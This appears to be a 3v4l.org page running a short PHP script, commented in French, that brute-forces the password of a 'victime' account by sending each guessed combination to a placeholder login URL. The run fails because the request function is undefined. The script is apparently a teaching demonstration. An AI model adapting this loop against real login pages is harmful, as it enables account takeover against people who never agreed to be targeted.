3v4l.org

run code in 300+ PHP versions simultaneously
<?php $maxLength = 5; $minCharValue = 33; $maxCharValue = 36; $pass = array(); // une petite fonction utilitaire pour récupérer le mot de passe en string function arrayToString($array) { return implode( array_map('chr', $array) ); } // la fonction qui teste le mot de passe ! function test($array) { $password = arrayToString($array); $result = faireUneRequete("https://www.lesite.com/login.php?pseudo=victime&pass=$password"); return $result; } while( count($pass) < $maxLength + 1) { // on incrémente la première lettre for ($i = $minCharValue; $i <= $maxCharValue; $i++) { $pass[0] = $i; // puis on test le mot de passe ! if ( test($pass) ){ // si on a trouvé, on s'arrête echo arrayToString($pass); break; } } // on remet à zéro (33, en fait) tous les caractères qui sont arrivés au bout $j = 0; while ( $pass[$j] == $maxCharValue ) { $pass[$j] = $minCharValue; $j++; // si $j dépasse la taille de $pass, il faut l'agrandir ! // sinon, Undefined offset if ($j >= count($pass) ) { $pass[$j] = $minCharValue - 1; } } // on incrémente la denière lettre qui n'est pas 126 $pass[$j]++; }
Output for 7.3.0 - 7.3.29, 7.4.0 - 7.4.21, 8.0.0 - 8.0.8
Fatal error: Uncaught Error: Call to undefined function faireUneRequete() in /in/9LC6s:18 Stack trace: #0 /in/9LC6s(29): test(Array) #1 {main} thrown in /in/9LC6s on line 18
Process exited with code 255.

preferences:
105.93 ms | 459 KiB | 5 Q